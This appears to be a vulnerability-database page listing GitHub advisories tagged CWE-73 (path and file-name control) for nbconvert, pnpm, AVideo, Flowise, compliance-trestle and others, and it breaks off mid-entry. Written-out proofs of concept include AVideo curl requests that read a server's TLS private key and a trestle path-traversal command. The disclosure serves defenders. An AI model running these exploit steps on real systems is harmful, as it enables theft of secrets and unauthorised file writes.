CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
914 vulnerabilities reference this CWE, most recent first.
GHSA-4C99-QJ7H-P3VG
Vulnerability from github – Published: 2026-04-21 17:18 – Updated: 2026-04-21 17:18Arbitrary File Write via Path Traversal in Cell Attachment Filenames
Summary
nbconvert allows arbitrary file writes to locations outside the intended output directory when processing notebooks containing crafted cell attachment filenames. The ExtractAttachmentsPreprocessor passes attachment filenames directly to the filesystem without sanitization, enabling path traversal attacks. This vulnerability provides complete control over both the destination path and file extension.
Impact
This vulnerability allows writing files with arbitrary content to arbitrary filesystem locations, limited only by the permissions of the process running nbconvert. The attacker controls:
- Full destination path (via ../ traversal)
- Filename
- File extension
- File content
Patches
- upgrade to nbconvert v7.17.1
Workarounds
disable ExtractAttachmentsPreprocessor by setting:
c. ExtractAttachmentsPreprocessor.enabled = False
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nbconvert"
},
"ranges": [
{
"events": [
{
"introduced": "6.5.0"
},
{
"fixed": "7.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39377"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T17:18:18Z",
"nvd_published_at": "2026-04-21T01:16:05Z",
"severity": "MODERATE"
},
"details": "# Arbitrary File Write via Path Traversal in Cell Attachment Filenames\n\n## Summary\n\nnbconvert allows arbitrary file writes to locations outside the intended output directory when processing notebooks containing crafted cell attachment filenames. The `ExtractAttachmentsPreprocessor` passes attachment filenames directly to the filesystem without sanitization, enabling path traversal attacks. This vulnerability provides complete control over both the destination path and file extension.\n\n\n## Impact\n\nThis vulnerability allows writing files with arbitrary content to arbitrary filesystem locations, limited only by the permissions of the process running nbconvert. The attacker controls:\n- Full destination path (via `../` traversal)\n- Filename\n- File extension\n- File content\n\n## Patches\n\n- upgrade to nbconvert v7.17.1\n\n## Workarounds\n\ndisable ExtractAttachmentsPreprocessor by setting:\n\n```python\nc. ExtractAttachmentsPreprocessor.enabled = False\n```",
"id": "GHSA-4c99-qj7h-p3vg",
"modified": "2026-04-21T17:18:18Z",
"published": "2026-04-21T17:18:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter/nbconvert/security/advisories/GHSA-4c99-qj7h-p3vg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39377"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter/nbconvert"
},
{
"type": "WEB",
"url": "https://github.com/jupyter/nbconvert/releases/tag/v7.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "nbconvert has an Arbitrary File Write via Path Traversal in Cell Attachment Filenames"
}
GHSA-4CJP-GF5V-8843
Vulnerability from github – Published: 2025-07-09 06:30 – Updated: 2025-07-11 21:31The SureForms – Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_entry_files() function in all versions up to, and including, 1.7.3. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-6691"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-09T06:15:23Z",
"severity": "HIGH"
},
"details": "The SureForms \u2013 Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_entry_files() function in all versions up to, and including, 1.7.3. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-4cjp-gf5v-8843",
"modified": "2025-07-11T21:31:03Z",
"published": "2025-07-09T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6691"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sureforms/trunk/admin/views/entries-list-table.php#L661"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3319753%40sureforms\u0026new=3319753%40sureforms\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/sureforms"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b4658546-bf57-414b-a3c9-bf7a5692c5fe?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4CW8-VV94-CQP8
Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33Microsoft OpenSSH for Windows Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38029"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T18:15:06Z",
"severity": "HIGH"
},
"details": "Microsoft OpenSSH for Windows Remote Code Execution Vulnerability",
"id": "GHSA-4cw8-vv94-cqp8",
"modified": "2024-10-08T18:33:14Z",
"published": "2024-10-08T18:33:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38029"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38029"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4G7C-75VJ-HQFJ
Vulnerability from github – Published: 2023-06-13 18:30 – Updated: 2024-04-04 04:47Zoom VDI client installer prior to 5.14.0 contains an improper access control vulnerability. A malicious user may potentially delete local files without proper permissions.
{
"affected": [],
"aliases": [
"CVE-2023-28603"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-13T18:15:21Z",
"severity": "HIGH"
},
"details": "Zoom VDI client installer prior to 5.14.0 contains an improper access control vulnerability. A malicious user may potentially delete local files without proper permissions.",
"id": "GHSA-4g7c-75vj-hqfj",
"modified": "2024-04-04T04:47:44Z",
"published": "2023-06-13T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28603"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4GXM-V5V7-FQC4
Vulnerability from github – Published: 2026-06-26 23:46 – Updated: 2026-06-26 23:46Description
Summary
Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.
Details
The vulnerable dataflow was:
bins/resolver/src/index.tsconverted manifestbinobject keys tobinNameand only required URL-safe text or$. Empty, dot, dot-dot, and scoped forms such as@scope/..were not rejected after scope stripping.global/packages/src/scanGlobalPackages.tsscanned installed global package manifests and returned manifest-derivedbin.namevalues.global/commands/src/globalRemove.ts,global/commands/src/globalUpdate.ts, and global add replacement logic joined those names toglobalBinDir.bins/remover/src/removeBins.tsrecursively removed the resulting path.
Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.
PoC
Run:
The script first performs a safe prepatch simulation in a temporary directory:
prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true
It then validates the patched implementation:
./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml
The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").
Impact
Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.
Affected Products
Ecosystem: npm
Package name: pnpm
Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.
Patched versions: pending release containing the shared bin-name hardening.
Severity
Corrected vulnerable severity: High
Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Corrected vulnerable score: 8.1
Final post-patch score: 0.0, not vulnerable after patch.
The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.
Weaknesses
CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-73: External Control of File Name or Path
Patch
bins/resolver/src/index.tsnow rejects empty, dot, and dot-dot bin names after scope stripping.bins/resolver/test/index.tscovers empty, dot, dot-dot, and scoped reserved bin keys.global/commands/test/globalRemove.test.tsproves global remove filters reserved manifest bin names before deletion and only removes a safegoodshim.pacquet/crates/cmd-shim/src/bin_resolver.rsmirrors the same reserved-name rejection; empty names were already rejected.pacquet/crates/cmd-shim/src/bin_resolver/tests.rsextends parity coverage..changeset/strange-bin-segments.mdrecords patch releases for@pnpm/bins.resolver,pnpm, andpacquet.
Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.
Validation
Passed locally:
The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55699"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:46:53Z",
"nvd_published_at": "2026-06-25T18:16:40Z",
"severity": "MODERATE"
},
"details": "\u003cdetails\u003e\n\u003csummary\u003eMaintainer Action Plan\u003c/summary\u003e\n\n## Maintainer Action Plan\n\nThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.\n\n- Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4`\n- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4\n- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1\n- Shared patch branch: `security/ghsa-batch-2026-06-09`\n- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`\n- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`\n- Maintainer priority: `appendix`\n- Component: `pnpm global add/remove bin cleanup`\n- Patch area: bin name/path segment validation\n- Affected packages: `npm:pnpm`\n- CWE IDs: `CWE-22`, `CWE-73`\n- Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`\n- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.\n\n### Expected Patched Behavior\n\nReserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact.\n\n### Files And Tests To Review\n\n- `bins/resolver/src/index.ts`\n- `bins/resolver/test/index.ts`\n- `global/commands/test/globalRemove.test.ts`\n- `pacquet/crates/cmd-shim/src/bin_resolver.rs`\n- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs`\n- `.changeset/strange-bin-segments.md`\n\n### Focused Validation\n\nRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.\n\n- Use the private PR checks plus the patched replay coverage matrix for this candidate.\n\nThe full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate\u0027s replay evidence is `results/CAND-PNPM-085-patched-result.json`.\n\u003c!-- maintainer-action:end --\u003e\n\n## Title\n\nReserved manifest bin names can make global package operations delete outside the global bin directory\n\n\u003c/details\u003e\n\n## Description\n\n### Summary\n\nManifest `bin` object keys such as `\"\"`, `\".\"`, and `\"..\"` passed pnpm\u0027s bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `\".\"` this targets the global bin directory; for `\"..\"` this targets its parent.\n\n### Details\n\nThe vulnerable dataflow was:\n\n- `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping.\n- `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values.\n- `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`.\n- `bins/remover/src/removeBins.ts` recursively removed the resulting path.\n\nInstall-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.\n\n### PoC\n\nRun:\n\nThe script first performs a safe prepatch simulation in a temporary directory:\n\n```text\nprepatch_reserved_bin_name=..\nprepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home\nprepatch_deleted_global_bin_parent=true\n```\n\nIt then validates the patched implementation:\n\n```bash\n./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json\n./node_modules/.bin/tsgo --build global/commands/tsconfig.json\n./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts\ncd bins/resolver\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts --runInBand\ncd global/commands\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/globalRemove.test.ts -t \"global remove ignores reserved manifest bin names\" --runInBand\ncargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check\ncargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib\ngit diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml\n```\n\nThe patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, \"good\")`.\n\n### Impact\n\nDirect confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.\n\n## Affected Products\n\nEcosystem: npm\n\nPackage name: `pnpm`\n\nAffected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.\n\nPatched versions: pending release containing the shared bin-name hardening.\n\n## Severity\n\nCorrected vulnerable severity: High\n\nCorrected vulnerable vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\nCorrected vulnerable score: 8.1\n\nFinal post-patch score: 0.0, not vulnerable after patch.\n\nThe original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.\n\n## Weaknesses\n\nCWE-22: Improper Limitation of a Pathname to a Restricted Directory\n\nCWE-73: External Control of File Name or Path\n\n## Patch\n\n- `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin names after scope stripping.\n- `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped reserved bin keys.\n- `global/commands/test/globalRemove.test.ts` proves global remove filters reserved manifest bin names before deletion and only removes a safe `good` shim.\n- `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same reserved-name rejection; empty names were already rejected.\n- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity coverage.\n- `.changeset/strange-bin-segments.md` records patch releases for `@pnpm/bins.resolver`, `pnpm`, and `pacquet`.\n\nPacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.\n\n## Validation\n\nPassed locally:\n\nThe script passed TypeScript builds, ESLint, `bins/resolver` Jest, global-remove sink Jest, pacquet fmt/tests, and `git diff --check`.",
"id": "GHSA-4gxm-v5v7-fqc4",
"modified": "2026-06-26T23:46:53Z",
"published": "2026-06-26T23:46:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55699"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Reserved bin name deletes PNPM_HOME during global remove"
}
GHSA-4J3Q-G7JX-6RW4
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30External control of file name or path in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-41107"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:22Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-4j3q-g7jx-6rw4",
"modified": "2026-05-12T18:30:46Z",
"published": "2026-05-12T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41107"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4JW9-5HRC-M4J6
Vulnerability from github – Published: 2026-03-19 19:34 – Updated: 2026-03-25 18:49Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F 'upl=@poc.mp4;type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head
Observed Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33354"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:34:06Z",
"nvd_published_at": "2026-03-23T15:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker\u0027s public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker\u0027s own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n -d \u0027user=attacker\u0026pass=UserPass123!\u0027 \\\n http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf \u0027x\u0027 \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n -F \u0027upl=@poc.mp4;type=video/mp4\u0027 \\\n http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker\u0027s public video path\ncurl -s -b attacker.cookies \\\n -d \u0027videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem\u0027 \\\n http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```",
"id": "GHSA-4jw9-5hrc-m4j6",
"modified": "2026-03-25T18:49:20Z",
"published": "2026-03-19T19:34:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33354"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`"
}
GHSA-4PWQ-XW7J-M297
Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.
{
"affected": [],
"aliases": [
"CVE-2025-71324"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T22:16:58Z",
"severity": "HIGH"
},
"details": "Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.",
"id": "GHSA-4pwq-xw7j-m297",
"modified": "2026-06-26T00:32:04Z",
"published": "2026-06-26T00:32:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71324"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-arbitrary-file-read-via-chatid-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4Q5V-7G7X-J79W
Vulnerability from github – Published: 2026-05-28 17:44 – Updated: 2026-05-28 17:44Relevant Products/Components:
trestle/core/commands/author/jinja.pytrestle author jinja
Detailed Description:
The -o/--output argument in trestle author jinja allows writing files outside the intended workspace.
The application does not properly validate:
../..\- absolute paths
This allows arbitrary file write to attacker-controlled locations.
Vulnerable code:
output_file = trestle_root / r_output_file
An attacker can overwrite files such as:
.github/workflows/*.yml.git/hooks/*- user writable config files
This can lead to CI/CD compromise or local code execution.
Steps To Reproduce:
- Clone the repository:
git clone https://github.com/oscal-compass/compliance-trestle.git
cd compliance-trestle
- Create template:
echo "hello" > template.j2
- Run:
trestle author jinja -i template.j2 -o "subdir\..\..\..\..\..\poc.txt"
- Observe:
dir E:\poc.txt
The file is written outside the repository workspace.
Browsers Verified In:
Not browser related.
Tested on:
- Windows 11
- Python 3.13
Supporting Material/References:
Affected file:
trestle/core/commands/author/jinja.py
Successfully verified:
- directory traversal using
../ - Windows traversal using
..\ - arbitrary file write outside workspace
Access Vector Required for Exploitation:
Local
Vulnerability Exists in Default Configuration?:
Yes
Is the exploitation trivial or does it involve a multi-step process that may depend on user/victim interaction?:
Trivial. Single command execution.
Exploitation Requires Authentication?:
No
Under what privileges does the vulnerable service or component run?:
Runs with privileges of the user executing the trestle command.
Impact
An attacker can write files outside the intended workspace directory and overwrite sensitive files writable by the current user.
Possible impacts include:
